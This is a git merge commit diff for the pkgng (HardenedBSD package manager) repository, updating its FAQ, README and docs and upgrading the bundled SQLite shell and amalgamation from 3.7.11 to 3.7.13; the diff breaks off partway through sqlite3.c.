Radish alpha
H
rad:z3QDZAW2FAfuLvihrhiyDC9fAD8G9
HardenedBSD Package Manager
Radicle
Git
Merge branch 'master' of git://github.com/pkgng/pkgng
Roman Naumann committed 13 years ago
commit 838dd4cac448cdc228f900c14d98b0e143e6a894
parent 1cd02f4
189 files changed +27346 -6647
modified AUTHORS
@@ -5,6 +5,9 @@ Julien Laffaye <jlaffaye@FreeBSD.org>

Contributors:

+
All contributors can be seen on github:
+
https://github.com/pkgng/pkgng/graphs/contributors
+

Philippe Pepiot <phil@philpep.org>
Will Andrews <will@FreeBSD.org>
Marin Atanasov Nikolov <dnaeon@gmail.com>
modified Doxyfile
@@ -31,7 +31,7 @@ PROJECT_NAME = libpkg
# This could be handy for archiving the generated documentation or
# if some version control system is used.

-
PROJECT_NUMBER         = 1.0-beta15
+
PROJECT_NUMBER         = 1.0.90

# Using the PROJECT_BRIEF tag one can provide an optional one line description for a project that appears at the top of each page and should give viewer a quick idea about the purpose of the project. Keep the description short.

modified FAQ.md
@@ -22,6 +22,16 @@ Table of Contents
* [How can I use pkgng with portmaster?](#15)
* [How can I use pkgng with portupgrade?](#16)
* [pkgng does not work it says: /usr/local/sbin/pkg: Undefined symbol "pkg_event_register"](#17)
+
* [Can pkgng cope with parallel installs?  What happpens if I simultaneously (attempt to) install conflicting packages?](#18)
+
* [If I use "pkg delete -f", what happens to packages that depended on the forcibly-deleted package?](#19)
+
* [What happens if I delete a package where I've modified one of the files managed by the package?](#20)
+
* [What facilities does it have for auditing and repairing the package database? (ie checking for inconsistencies between installed files and the content of the package database)?](#21)
+
* [Will it detect that a package install would overwrite an existing?](#22)
+
* [If so, what happens to the file metadata (particularly uid, gid and mtime)?](#23)
+
* [Can it track user-edited configuration files that are associated with packages?](#24)
+
* [Can it do 2- or 3-way merges of package configuration files?](#25)
+
* [The README states "Directory leftovers are automatically removed if they are not in the MTREE."  How does this work for directories that are shared between multiple packages?  Does this mean that if I add a file to a directory that was created by a package, that file will be deleted automatically if I delete the package?](#26)
+
* [How to create a new plugin for pkgng?](#27)

<a name="0"></a>
### Q: How can I start using pkgng?
@@ -30,7 +40,7 @@ In order to start using pkgng, please follow the steps below.

Install ports-mgmt/pkg:

-
        # make -C /usr/ports/ports-mgmt/pkg
+
        # make -C /usr/ports/ports-mgmt/pkg install clean
        # echo "WITH_PKGNG=yes" >> /etc/make.conf

Now register all packages you have in the pkgng database:
@@ -94,7 +104,11 @@ The default hierarchy has lots of symlinks which should just be ignored and thus

Here is how to do that:

-
    sh -c 'find . -name "*.txz" -exec pkg query -f {} %o \;' | sort | uniq -d
+
    sh -c 'find . -type f -name "*-*.txz" -exec pkg query -F {} %o \;' | sort | uniq -d
+

+
As of beta17, `pkg repo` will emit a warning message and ignore any
+
older versions if it finds multiple packages from the same origin
+
when building a repo.

<a name="11"></a>
### Q: How to start working with multi-repos in pkgng?
@@ -149,8 +163,86 @@ More information can be found in the portupgrade [NEWS](https://github.com/pkgto
<a name="17"></a>
### Q: pkgng does not work it says: /usr/local/sbin/pkg: Undefined symbol "pkg_event_register"

-
You should have forgotten make delete-old-libs when you upgraded your system.
+
You forgot to run `make delete-old-libs` when you upgraded your system.
+

+
During 9-CURRENT life the pkg_install tools have been split to provide a
+
shared library: libpkg.so.0. This has been reverted, this error message means
+
that this library is still on your system. Check for and delete /usr/lib/libpkg.so.0.
+

+
<a name="18"></a>
+
### Q: Can pkgng cope with parallel installs?  What happpens if I simultaneously (attempt to) install conflicting packages?
+

+
No.  Parallel installs will not work -- the first to start will lock the DB, and
+
the second won't be able to proceed.
+

+
<a name="19"></a>
+
### Q: If I use "pkg delete -f", what happens to packages that depended on the forcibly-deleted package?
+

+
Nothing.  If you forcibly delete a package it's assumed you understand that you know you're doing something that can break your system.
+
pkg check will detect missing dependency packages and reinstall as required.
+

+
<a name="20"></a>
+
### Q: What happens if I delete a package where I've modified one of the files managed by the package?
+

+
The package is removed, but modified file is not:
+

+
	# pkg check -s pciids
+
	pciids-20120625: checksum mismatch for /usr/local/share/pciids/pci.ids
+
	# pkg delete pciids
+
	The following packages will be deinstalled:
+
	
+
		pciids-20120625
+
	
+
	The deinstallation will free 788 kB
+
	Deinstalling pciids-20120625...pkg: /usr/local/share/pciids/pci.ids
+
	fails original SHA256 checksum, not removing
+
	pkg: rmdir(/usr/local/share/pciids/): Directory not empty
+
	done
+
	# pkg info pciids
+
	pkg: No package(s) matching pciids
+
	# ls -l /usr/local/share/pciids/pci.ids
+
	-rw-r--r--  1 root  wheel  752925 Jul 16 07:05
+
	/usr/local/share/pciids/pci.ids
+

+
<a name="21"></a>
+
### Q: What facilities does it have for auditing and repairing the package database? (ie checking for inconsistencies between installed files and the content of the package database)
+

+
See pkg-check(8)
+

+
<a name="22"></a>
+
### Q: Will it detect that a package install would overwrite an existing
+

+
Yes exactly that.  Files in the older package that are identical in the
+
newer one are left untouched.  Otherwise, files from the older package
+
are removed, and files from the newer package are installed.
+

+
<a name="23"></a>
+
### Q: If so, what happens to the file metadata (particularly uid, gid and mtime)?
+

+
Nothing.
+

+
<a name="24"></a>
+
### Q: Can it track user-edited configuration files that are associated with packages?
+

+
This works in exactly the same way as it does currently in the ports. Except if the package provide the configuration with a .pkgconf extension
+
In that if there is no user config the default configuration is created otherwise, the user edited version is kept
+

+
<a name="25"></a>
+
### Q: Can it do 2- or 3-way merges of package configuration files?
+

+
No.  In general the package will install sample configuration files,
+
and will only touch the live config files if either the live configs
+
don't exist, or the live configs are identical to the sample configs.
+
This is the standard way things work in the ports at the moment.
+

+
<a name="26"></a>
+
### Q: The README states "Directory leftovers are automatically removed if they are not in the MTREE."  How does this work for directories that are shared between multiple packages?  Does this mean that if I add a file to a directory that was created by a package, that file will be deleted automatically if I delete the package?
+

+
No.  Directories have to be empty before they will be removed.
+

+
<a name="27"></a>
+
### Q: How to create a new plugin for pkgng?
+

+
If you are interested in creating a new plugin for pkgng you might want to check the following handbook which is an introduction to plugins writing for pkgng.

-
during 9-CURRENT life the pkg_install tools has been splitted to provide a
-
shared library: libpkg.so.0 and this has been reverted, this error message means
-
that this library is still on your system, please check /usr/lib/libpkg.so.0
+
* [Introduction to writing plugins for pkgng in FreeBSD](http://unix-heaven.org/writing-plugins-for-pkgng)
modified README.md
@@ -152,12 +152,12 @@ show pkg-message, ...
`pkg add` can install a package archive from the local disk, or from a
remote FTP/HTTP server.

-
If only a package name is given, it will search the remote repository
+
If only a package name is given, it will search the repository catalogue
and download and install the package if it exists. The dependencies will be
downloaded and installed first.

This is possible because we have the dependency information in the
-
remote repository database.
+
catalogue of the remote repository.

`pkg add` will check if the user attempts to install a package built for another
arch or release.
@@ -180,7 +180,7 @@ Directory leftovers are automatically removed if they are not in the MTREE.

pkgng beta1 is now in the ports tree. To get it:

-
	$ make -C /usr/ports/ports-mgmt/pkg
+
	$ make -C /usr/ports/ports-mgmt/pkg install clean
	$ echo "WITH_PKGNG=yes" >> /etc/make.conf

<a name="usageintro"></a>
@@ -282,7 +282,7 @@ so that it points to a remote location, which contains packages that can be inst
or set _PACKAGESITE_ in the *pkg.conf(5)* configuration file.

In order to work with a single remote package repository, you would define _PACKAGESITE_ to
-
your remote server with packages, like for example (or use */etc/pkg.conf* to set it there):
+
your remote server with packages, like for example (or use ${LOCALBASE}/etc/pkg.conf* to set it there):

	TCSH users:

@@ -292,7 +292,7 @@ your remote server with packages, like for example (or use */etc/pkg.conf* to se

	# export PACKAGESITE=http://example.org/pkgng-repo/

-
Then fetch the remote repository using the below command:
+
Then fetch the repository catalogue using the command:

	# pkg update

@@ -308,11 +308,11 @@ pkgng is also able to work with multiple remote repositories. In the previous se
we are using only a single remote repository, which is defined by the _PACKAGESITE_ option.

In order to be able to work with multiple remote repositories and instead of changing
-
each time _PACKAGESITE_, you can tell *pkg(1)* to work in multi-repos mode as well.
+
_PACKAGESITE_ each time, you can tell *pkg(1)* to work in multi-repos mode as well.

To do this, simply enable multi-repos in *pkg.conf(5)* like this:

-
	# echo "PKG_MULTIREPOS : YES" >> /etc/pkg.conf
+
	# echo "PKG_MULTIREPOS : YES" >> /usr/local/etc/pkg.conf

The next thing is to define your remote repositories in the *pkg.conf(5)* file.

@@ -327,7 +327,7 @@ the *default* repository.
It is important that you always define a *default* repository - this is the repository that is being
used when no remote repositories are specified via the `-r <repo>` flag.

-
Next, fetch the remote repositories:
+
Next, fetch all the repository catalogues:

	# pkg update

modified docs/GOALS
@@ -62,7 +62,7 @@ Table of Contents:

- search:

-
	- Will search the remote repository to provide information
+
	- Will search the repository catalogue to provide information
	  to the users.

- info: 
@@ -87,8 +87,8 @@ Table of Contents:

- upgrade:

-
	- Will compute the remote repository to check if there are new upgrades
-
	  available and apply them.
+
	- Will examine the repository catalogue to check if there are
+
	  any upgrades available and apply them.

- update:

modified external/sqlite/shell.c
@@ -68,6 +68,8 @@
# include <io.h>
#define isatty(h) _isatty(h)
#define access(f,m) _access((f),(m))
+
#define popen(a,b) _popen((a),(b))
+
#define pclose(x) _pclose(x)
#else
/* Make sure isatty() has a prototype.
*/
@@ -419,6 +421,7 @@ struct callback_data {
  int statsOn;           /* True to display memory stats before each finalize */
  int cnt;               /* Number of records displayed so far */
  FILE *out;             /* Write results here */
+
  FILE *traceOut;        /* Output for sqlite3_trace() */
  int nErr;              /* Number of errors seen */
  int mode;              /* An output mode setting */
  int writableSchema;    /* True if PRAGMA writable_schema=ON */
@@ -496,7 +499,7 @@ static void output_hex_blob(FILE *out, const void *pBlob, int nBlob){
  int i;
  char *zBlob = (char *)pBlob;
  fprintf(out,"X'");
-
  for(i=0; i<nBlob; i++){ fprintf(out,"%02x",zBlob[i]); }
+
  for(i=0; i<nBlob; i++){ fprintf(out,"%02x",zBlob[i]&0xff); }
  fprintf(out,"'");
}

@@ -1077,6 +1080,9 @@ static int display_stats(
    sqlite3_db_status(db, SQLITE_DBSTATUS_CACHE_MISS, &iCur, &iHiwtr, 1);
    fprintf(pArg->out, "Page cache misses:                   %d\n", iCur); 
    iHiwtr = iCur = -1;
+
    sqlite3_db_status(db, SQLITE_DBSTATUS_CACHE_WRITE, &iCur, &iHiwtr, 1);
+
    fprintf(pArg->out, "Page cache writes:                   %d\n", iCur); 
+
    iHiwtr = iCur = -1;
    sqlite3_db_status(db, SQLITE_DBSTATUS_SCHEMA_USED, &iCur, &iHiwtr, bReset);
    fprintf(pArg->out, "Schema Heap Usage:                   %d bytes\n", iCur); 
    iHiwtr = iCur = -1;
@@ -1287,7 +1293,6 @@ static int dump_callback(void *pArg, int nArg, char **azArg, char **azCol){
    char *zTableInfo = 0;
    char *zTmp = 0;
    int nRow = 0;
-
    int kk;
   
    zTableInfo = appendText(zTableInfo, "PRAGMA table_info(", 0);
    zTableInfo = appendText(zTableInfo, zTable, '"');
@@ -1300,14 +1305,12 @@ static int dump_callback(void *pArg, int nArg, char **azArg, char **azCol){
    }

    zSelect = appendText(zSelect, "SELECT 'INSERT INTO ' || ", 0);
-
    if( !isalpha(zTable[0]) ){
-
      kk = 0;
-
    }else{
-
      for(kk=1; isalnum(zTable[kk]); kk++){}
-
    }
-
    zTmp = appendText(zTmp, zTable, zTable[kk] ? '"' : 0);
+
    /* Always quote the table name, even if it appears to be pure ascii,
+
    ** in case it is a keyword. Ex:  INSERT INTO "table" ... */
+
    zTmp = appendText(zTmp, zTable, '"');
    if( zTmp ){
      zSelect = appendText(zSelect, zTmp, '\'');
+
      free(zTmp);
    }
    zSelect = appendText(zSelect, " || ' VALUES(' || ", 0);
    rc = sqlite3_step(pTableInfo);
@@ -1336,7 +1339,7 @@ static int dump_callback(void *pArg, int nArg, char **azArg, char **azCol){
      zSelect = appendText(zSelect, " ORDER BY rowid DESC", 0);
      run_table_dump_query(p, zSelect, 0);
    }
-
    if( zSelect ) free(zSelect);
+
    free(zSelect);
  }
  return 0;
}
@@ -1366,7 +1369,7 @@ static int run_schema_dump_query(
    }
    zQ2 = malloc( len+100 );
    if( zQ2==0 ) return rc;
-
    sqlite3_snprintf(sizeof(zQ2), zQ2, "%s ORDER BY rowid DESC", zQuery);
+
    sqlite3_snprintf(len+100, zQ2, "%s ORDER BY rowid DESC", zQuery);
    rc = sqlite3_exec(p->db, zQ2, dump_callback, p, &zErr);
    if( rc ){
      fprintf(p->out, "/****** ERROR: %s ******/\n", zErr);
@@ -1432,6 +1435,7 @@ static char zHelp[] =
  "                         If TABLE specified, only list tables matching\n"
  "                         LIKE pattern TABLE.\n"
  ".timeout MS            Try opening locked tables for MS milliseconds\n"
+
  ".trace FILE|off        Output each SQL statement as it is run\n"
  ".vfsname ?AUX?         Print the name of the VFS stack\n"
  ".width NUM1 NUM2 ...   Set column widths for \"column\" mode\n"
;
@@ -1522,6 +1526,52 @@ static int booleanValue(char *zArg){
}

/*
+
** Close an output file, assuming it is not stderr or stdout
+
*/
+
static void output_file_close(FILE *f){
+
  if( f && f!=stdout && f!=stderr ) fclose(f);
+
}
+

+
/*
+
** Try to open an output file.   The names "stdout" and "stderr" are
+
** recognized and do the right thing.  NULL is returned if the output 
+
** filename is "off".
+
*/
+
static FILE *output_file_open(const char *zFile){
+
  FILE *f;
+
  if( strcmp(zFile,"stdout")==0 ){
+
    f = stdout;
+
  }else if( strcmp(zFile, "stderr")==0 ){
+
    f = stderr;
+
  }else if( strcmp(zFile, "off")==0 ){
+
    f = 0;
+
  }else{
+
    f = fopen(zFile, "wb");
+
    if( f==0 ){
+
      fprintf(stderr, "Error: cannot open \"%s\"\n", zFile);
+
    }
+
  }
+
  return f;
+
}
+

+
/*
+
** A routine for handling output from sqlite3_trace().
+
*/
+
static void sql_trace_callback(void *pArg, const char *z){
+
  FILE *f = (FILE*)pArg;
+
  if( f ) fprintf(f, "%s\n", z);
+
}
+

+
/*
+
** A no-op routine that runs with the ".breakpoint" doc-command.  This is
+
** a useful spot to set a debugger breakpoint.
+
*/
+
static void test_breakpoint(void){
+
  static int nCall = 0;
+
  nCall++;
+
}
+

+
/*
** If an input line begins with "." then invoke this routine to
** process that line.
**
@@ -1600,6 +1650,13 @@ static int do_meta_command(char *zLine, struct callback_data *p){
    bail_on_error = booleanValue(azArg[1]);
  }else

+
  /* The undocumented ".breakpoint" command causes a call to the no-op
+
  ** routine named test_breakpoint().
+
  */
+
  if( c=='b' && n>=3 && strncmp(azArg[0], "breakpoint", n)==0 ){
+
    test_breakpoint();
+
  }else
+

  if( c=='d' && n>1 && strncmp(azArg[0], "databases", n)==0 && nArg==1 ){
    struct callback_data data;
    char *zErrMsg = 0;
@@ -1931,22 +1988,8 @@ static int do_meta_command(char *zLine, struct callback_data *p){

  if( c=='l' && strncmp(azArg[0], "log", n)==0 && nArg>=2 ){
    const char *zFile = azArg[1];
-
    if( p->pLog && p->pLog!=stdout && p->pLog!=stderr ){
-
      fclose(p->pLog);
-
      p->pLog = 0;
-
    }
-
    if( strcmp(zFile,"stdout")==0 ){
-
      p->pLog = stdout;
-
    }else if( strcmp(zFile, "stderr")==0 ){
-
      p->pLog = stderr;
-
    }else if( strcmp(zFile, "off")==0 ){
-
      p->pLog = 0;
-
    }else{
-
      p->pLog = fopen(zFile, "w");
-
      if( p->pLog==0 ){
-
        fprintf(stderr, "Error: cannot open \"%s\"\n", zFile);
-
      }
-
    }
+
    output_file_close(p->pLog);
+
    p->pLog = output_file_open(zFile);
  }else

  if( c=='m' && strncmp(azArg[0], "mode", n)==0 && nArg==2 ){
@@ -1999,20 +2042,31 @@ static int do_meta_command(char *zLine, struct callback_data *p){
  }else

  if( c=='o' && strncmp(azArg[0], "output", n)==0 && nArg==2 ){
-
    if( p->out!=stdout ){
-
      fclose(p->out);
+
    if( p->outfile[0]=='|' ){
+
      pclose(p->out);
+
    }else{
+
      output_file_close(p->out);
    }
-
    if( strcmp(azArg[1],"stdout")==0 ){
-
      p->out = stdout;
-
      sqlite3_snprintf(sizeof(p->outfile), p->outfile, "stdout");
+
    p->outfile[0] = 0;
+
    if( azArg[1][0]=='|' ){
+
      p->out = popen(&azArg[1][1], "w");
+
      if( p->out==0 ){
+
        fprintf(stderr,"Error: cannot open pipe \"%s\"\n", &azArg[1][1]);
+
        p->out = stdout;
+
        rc = 1;
+
      }else{
+
        sqlite3_snprintf(sizeof(p->outfile), p->outfile, "%s", azArg[1]);
+
      }
    }else{
-
      p->out = fopen(azArg[1], "wb");
+
      p->out = output_file_open(azArg[1]);
      if( p->out==0 ){
-
        fprintf(stderr,"Error: cannot write to \"%s\"\n", azArg[1]);
+
        if( strcmp(azArg[1],"off")!=0 ){
+
          fprintf(stderr,"Error: cannot write to \"%s\"\n", azArg[1]);
+
        }
        p->out = stdout;
        rc = 1;
      } else {
-
         sqlite3_snprintf(sizeof(p->outfile), p->outfile, "%s", azArg[1]);
+
        sqlite3_snprintf(sizeof(p->outfile), p->outfile, "%s", azArg[1]);
      }
    }
  }else
@@ -2130,23 +2184,25 @@ static int do_meta_command(char *zLine, struct callback_data *p){
        zShellStatic = azArg[1];
        rc = sqlite3_exec(p->db,
          "SELECT sql FROM "
-
          "  (SELECT sql sql, type type, tbl_name tbl_name, name name"
+
          "  (SELECT sql sql, type type, tbl_name tbl_name, name name, rowid x"
          "     FROM sqlite_master UNION ALL"
-
          "   SELECT sql, type, tbl_name, name FROM sqlite_temp_master) "
+
          "   SELECT sql, type, tbl_name, name, rowid FROM sqlite_temp_master) "
          "WHERE lower(tbl_name) LIKE shellstatic()"
          "  AND type!='meta' AND sql NOTNULL "
-
          "ORDER BY substr(type,2,1), name",
+
          "ORDER BY substr(type,2,1), "
+
                  " CASE type WHEN 'view' THEN rowid ELSE name END",
          callback, &data, &zErrMsg);
        zShellStatic = 0;
      }
    }else{
      rc = sqlite3_exec(p->db,
         "SELECT sql FROM "
-
         "  (SELECT sql sql, type type, tbl_name tbl_name, name name"
+
         "  (SELECT sql sql, type type, tbl_name tbl_name, name name, rowid x"
         "     FROM sqlite_master UNION ALL"
-
         "   SELECT sql, type, tbl_name, name FROM sqlite_temp_master) "
+
         "   SELECT sql, type, tbl_name, name, rowid FROM sqlite_temp_master) "
         "WHERE type!='meta' AND sql NOTNULL AND name NOT LIKE 'sqlite_%'"
-
         "ORDER BY substr(type,2,1), name",
+
         "ORDER BY substr(type,2,1),"
+
                  " CASE type WHEN 'view' THEN rowid ELSE name END",
         callback, &data, &zErrMsg
      );
    }
@@ -2194,46 +2250,71 @@ static int do_meta_command(char *zLine, struct callback_data *p){
  }else

  if( c=='t' && n>1 && strncmp(azArg[0], "tables", n)==0 && nArg<3 ){
+
    sqlite3_stmt *pStmt;
    char **azResult;
-
    int nRow;
-
    char *zErrMsg;
+
    int nRow, nAlloc;
+
    char *zSql = 0;
+
    int ii;
    open_db(p);
-
    if( nArg==1 ){
-
      rc = sqlite3_get_table(p->db,
-
        "SELECT name FROM sqlite_master "
-
        "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%' "
-
        "UNION ALL "
-
        "SELECT name FROM sqlite_temp_master "
-
        "WHERE type IN ('table','view') "
-
        "ORDER BY 1",
-
        &azResult, &nRow, 0, &zErrMsg
-
      );
-
    }else{
-
      zShellStatic = azArg[1];
-
      rc = sqlite3_get_table(p->db,
-
        "SELECT name FROM sqlite_master "
-
        "WHERE type IN ('table','view') AND name LIKE shellstatic() "
-
        "UNION ALL "
-
        "SELECT name FROM sqlite_temp_master "
-
        "WHERE type IN ('table','view') AND name LIKE shellstatic() "
-
        "ORDER BY 1",
-
        &azResult, &nRow, 0, &zErrMsg
-
      );
-
      zShellStatic = 0;
+
    rc = sqlite3_prepare_v2(p->db, "PRAGMA database_list", -1, &pStmt, 0);
+
    if( rc ) return rc;
+
    zSql = sqlite3_mprintf(
+
        "SELECT name FROM sqlite_master"
+
        " WHERE type IN ('table','view')"
+
        "   AND name NOT LIKE 'sqlite_%%'"
+
        "   AND name LIKE ?1");
+
    while( sqlite3_step(pStmt)==SQLITE_ROW ){
+
      const char *zDbName = (const char*)sqlite3_column_text(pStmt, 1);
+
      if( zDbName==0 || strcmp(zDbName,"main")==0 ) continue;
+
      if( strcmp(zDbName,"temp")==0 ){
+
        zSql = sqlite3_mprintf(
+
                 "%z UNION ALL "
+
                 "SELECT 'temp.' || name FROM sqlite_temp_master"
+
                 " WHERE type IN ('table','view')"
+
                 "   AND name NOT LIKE 'sqlite_%%'"
+
                 "   AND name LIKE ?1", zSql);
+
      }else{
+
        zSql = sqlite3_mprintf(
+
                 "%z UNION ALL "
+
                 "SELECT '%q.' || name FROM \"%w\".sqlite_master"
+
                 " WHERE type IN ('table','view')"
+
                 "   AND name NOT LIKE 'sqlite_%%'"
+
                 "   AND name LIKE ?1", zSql, zDbName, zDbName);
+
      }
    }
-
    if( zErrMsg ){
-
      fprintf(stderr,"Error: %s\n", zErrMsg);
-
      sqlite3_free(zErrMsg);
-
      rc = 1;
-
    }else if( rc != SQLITE_OK ){
-
      fprintf(stderr,"Error: querying sqlite_master and sqlite_temp_master\n");
-
      rc = 1;
+
    sqlite3_finalize(pStmt);
+
    zSql = sqlite3_mprintf("%z ORDER BY 1", zSql);
+
    rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
+
    sqlite3_free(zSql);
+
    if( rc ) return rc;
+
    nRow = nAlloc = 0;
+
    azResult = 0;
+
    if( nArg>1 ){
+
      sqlite3_bind_text(pStmt, 1, azArg[1], -1, SQLITE_TRANSIENT);
    }else{
+
      sqlite3_bind_text(pStmt, 1, "%", -1, SQLITE_STATIC);
+
    }
+
    while( sqlite3_step(pStmt)==SQLITE_ROW ){
+
      if( nRow>=nAlloc ){
+
        char **azNew;
+
        int n = nAlloc*2 + 10;
+
        azNew = sqlite3_realloc(azResult, sizeof(azResult[0])*n);
+
        if( azNew==0 ){
+
          fprintf(stderr, "Error: out of memory\n");
+
          break;
+
        }
+
        nAlloc = n;
+
        azResult = azNew;
+
      }
+
      azResult[nRow] = sqlite3_mprintf("%s", sqlite3_column_text(pStmt, 0));
+
      if( azResult[nRow] ) nRow++;
+
    }
+
    sqlite3_finalize(pStmt);        
+
    if( nRow>0 ){
      int len, maxlen = 0;
      int i, j;
      int nPrintCol, nPrintRow;
-
      for(i=1; i<=nRow; i++){
-
        if( azResult[i]==0 ) continue;
+
      for(i=0; i<nRow; i++){
        len = strlen30(azResult[i]);
        if( len>maxlen ) maxlen = len;
      }
@@ -2241,14 +2322,15 @@ static int do_meta_command(char *zLine, struct callback_data *p){
      if( nPrintCol<1 ) nPrintCol = 1;
      nPrintRow = (nRow + nPrintCol - 1)/nPrintCol;
      for(i=0; i<nPrintRow; i++){
-
        for(j=i+1; j<=nRow; j+=nPrintRow){
-
          char *zSp = j<=nPrintRow ? "" : "  ";
+
        for(j=i; j<nRow; j+=nPrintRow){
+
          char *zSp = j<nPrintRow ? "" : "  ";
          printf("%s%-*s", zSp, maxlen, azResult[j] ? azResult[j] : "");
        }
        printf("\n");
      }
    }
-
    sqlite3_free_table(azResult);
+
    for(ii=0; ii<nRow; ii++) sqlite3_free(azResult[ii]);
+
    sqlite3_free(azResult);
  }else

  if( c=='t' && n>=8 && strncmp(azArg[0], "testctrl", n)==0 && nArg>=2 ){
@@ -2382,6 +2464,19 @@ static int do_meta_command(char *zLine, struct callback_data *p){
    enableTimer = booleanValue(azArg[1]);
  }else
  
+
  if( c=='t' && strncmp(azArg[0], "trace", n)==0 && nArg>1 ){
+
    open_db(p);
+
    output_file_close(p->traceOut);
+
    p->traceOut = output_file_open(azArg[1]);
+
#ifndef SQLITE_OMIT_TRACE
+
    if( p->traceOut==0 ){
+
      sqlite3_trace(p->db, 0, 0);
+
    }else{
+
      sqlite3_trace(p->db, sql_trace_callback, p->traceOut);
+
    }
+
#endif
+
  }else
+

  if( c=='v' && strncmp(azArg[0], "version", n)==0 ){
    printf("SQLite %s %s\n" /*extra-version-info*/,
        sqlite3_libversion(), sqlite3_sourceid());
@@ -2506,7 +2601,9 @@ static int process_input(struct callback_data *p, FILE *in){
    free(zLine);
    zLine = one_input_line(zSql, in);
    if( zLine==0 ){
-
      break;  /* We have reached EOF */
+
      /* End of input */
+
      if( stdin_is_interactive ) printf("\n");
+
      break;
    }
    if( seenInterrupt ){
      if( in!=0 ) break;
@@ -2593,12 +2690,11 @@ static int process_input(struct callback_data *p, FILE *in){

/*
** Return a pathname which is the user's home directory.  A
-
** 0 return indicates an error of some kind.  Space to hold the
-
** resulting string is obtained from malloc().  The calling
-
** function should free the result.
+
** 0 return indicates an error of some kind.
*/
static char *find_home_dir(void){
-
  char *home_dir = NULL;
+
  static char *home_dir = NULL;
+
  if( home_dir ) return home_dir;

#if !defined(_WIN32) && !defined(WIN32) && !defined(__OS2__) && !defined(_WIN32_WCE) && !defined(__RTP__) && !defined(_WRS_KERNEL)
  struct passwd *pwent;
@@ -2611,7 +2707,7 @@ static char *find_home_dir(void){
#if defined(_WIN32_WCE)
  /* Windows CE (arm-wince-mingw32ce-gcc) does not provide getenv()
   */
-
  home_dir = strdup("/");
+
  home_dir = "/";
#else

#if defined(_WIN32) || defined(WIN32) || defined(__OS2__)
@@ -2667,7 +2763,6 @@ static int process_sqliterc(
  const char *sqliterc = sqliterc_override;
  char *zBuf = 0;
  FILE *in = NULL;
-
  int nBuf;
  int rc = 0;

  if (sqliterc == NULL) {
@@ -2678,15 +2773,8 @@ static int process_sqliterc(
#endif
      return 1;
    }
-
    nBuf = strlen30(home_dir) + 16;
-
    zBuf = malloc( nBuf );
-
    if( zBuf==0 ){
-
      fprintf(stderr,"%s: Error: out of memory\n",Argv0);
-
      return 1;
-
    }
-
    sqlite3_snprintf(nBuf, zBuf,"%s/.sqliterc",home_dir);
-
    free(home_dir);
-
    sqliterc = (const char*)zBuf;
+
    zBuf = sqlite3_mprintf("%s/.sqliterc",home_dir);
+
    sqliterc = zBuf;
  }
  in = fopen(sqliterc,"rb");
  if( in ){
@@ -2696,7 +2784,7 @@ static int process_sqliterc(
    rc = process_input(p,in);
    fclose(in);
  }
-
  free(zBuf);
+
  sqlite3_free(zBuf);
  return rc;
}

@@ -3043,7 +3131,6 @@ int main(int argc, char **argv){
        write_history(zHistory);
        free(zHistory);
      }
-
      free(zHome);
    }else{
      rc = process_input(&data, stdin);
    }
modified external/sqlite/sqlite3.c
@@ -1,6 +1,6 @@
/******************************************************************************
** This file is an amalgamation of many separate C source files from SQLite
-
** version 3.7.11.  By combining all the individual C code files into this 
+
** version 3.7.13.  By combining all the individual C code files into this 
** single large file, the entire code can be compiled as a single translation
** unit.  This allows many compilers to do optimizations that would not be
** possible if the files were compiled separately.  Performance improvements
@@ -443,15 +443,22 @@
#endif

/*
-
** Many people are failing to set -DNDEBUG=1 when compiling SQLite.
-
** Setting NDEBUG makes the code smaller and run faster.  So the following
-
** lines are added to automatically set NDEBUG unless the -DSQLITE_DEBUG=1
-
** option is set.  Thus NDEBUG becomes an opt-in rather than an opt-out
+
** NDEBUG and SQLITE_DEBUG are opposites.  It should always be true that
+
** defined(NDEBUG)==!defined(SQLITE_DEBUG).  If this is not currently true,
+
** make it true by defining or undefining NDEBUG.
+
**
+
** Setting NDEBUG makes the code smaller and run faster by disabling the
+
** number assert() statements in the code.  So we want the default action
+
** to be for NDEBUG to be set and NDEBUG to be undefined only if SQLITE_DEBUG
+
** is set.  Thus NDEBUG becomes an opt-in rather than an opt-out
** feature.
*/
#if !defined(NDEBUG) && !defined(SQLITE_DEBUG) 
# define NDEBUG 1
#endif
+
#if defined(NDEBUG) && defined(SQLITE_DEBUG)
+
# undef NDEBUG
+
#endif

/*
** The testcase() macro is used to aid in coverage testing.  When 
@@ -657,9 +664,9 @@ extern "C" {
** [sqlite3_libversion_number()], [sqlite3_sourceid()],
** [sqlite_version()] and [sqlite_source_id()].
*/
-
#define SQLITE_VERSION        "3.7.11"
-
#define SQLITE_VERSION_NUMBER 3007011
-
#define SQLITE_SOURCE_ID      "2012-03-20 11:35:50 00bb9c9ce4f465e6ac321ced2a9d0062dc364669"
+
#define SQLITE_VERSION        "3.7.13"
+
#define SQLITE_VERSION_NUMBER 3007013
+
#define SQLITE_SOURCE_ID      "2012-06-11 02:05:22 f5b5a13f7394dc143aa136f1d4faba6839eaa6dc"

/*
** CAPI3REF: Run-Time Library Version Numbers
@@ -1008,6 +1015,7 @@ SQLITE_API int sqlite3_exec(
#define SQLITE_LOCKED_SHAREDCACHE      (SQLITE_LOCKED |  (1<<8))
#define SQLITE_BUSY_RECOVERY           (SQLITE_BUSY   |  (1<<8))
#define SQLITE_CANTOPEN_NOTEMPDIR      (SQLITE_CANTOPEN | (1<<8))
+
#define SQLITE_CANTOPEN_ISDIR          (SQLITE_CANTOPEN | (2<<8))
#define SQLITE_CORRUPT_VTAB            (SQLITE_CORRUPT | (1<<8))
#define SQLITE_READONLY_RECOVERY       (SQLITE_READONLY | (1<<8))
#define SQLITE_READONLY_CANTLOCK       (SQLITE_READONLY | (2<<8))
@@ -1027,6 +1035,7 @@ SQLITE_API int sqlite3_exec(
#define SQLITE_OPEN_EXCLUSIVE        0x00000010  /* VFS only */
#define SQLITE_OPEN_AUTOPROXY        0x00000020  /* VFS only */
#define SQLITE_OPEN_URI              0x00000040  /* Ok for sqlite3_open_v2() */
+
#define SQLITE_OPEN_MEMORY           0x00000080  /* Ok for sqlite3_open_v2() */
#define SQLITE_OPEN_MAIN_DB          0x00000100  /* VFS only */
#define SQLITE_OPEN_TEMP_DB          0x00000200  /* VFS only */
#define SQLITE_OPEN_TRANSIENT_DB     0x00000400  /* VFS only */
@@ -1321,7 +1330,7 @@ struct sqlite3_io_methods {
**
** <li>[[SQLITE_FCNTL_PERSIST_WAL]]
** ^The [SQLITE_FCNTL_PERSIST_WAL] opcode is used to set or query the
-
** persistent [WAL | Write AHead Log] setting.  By default, the auxiliary
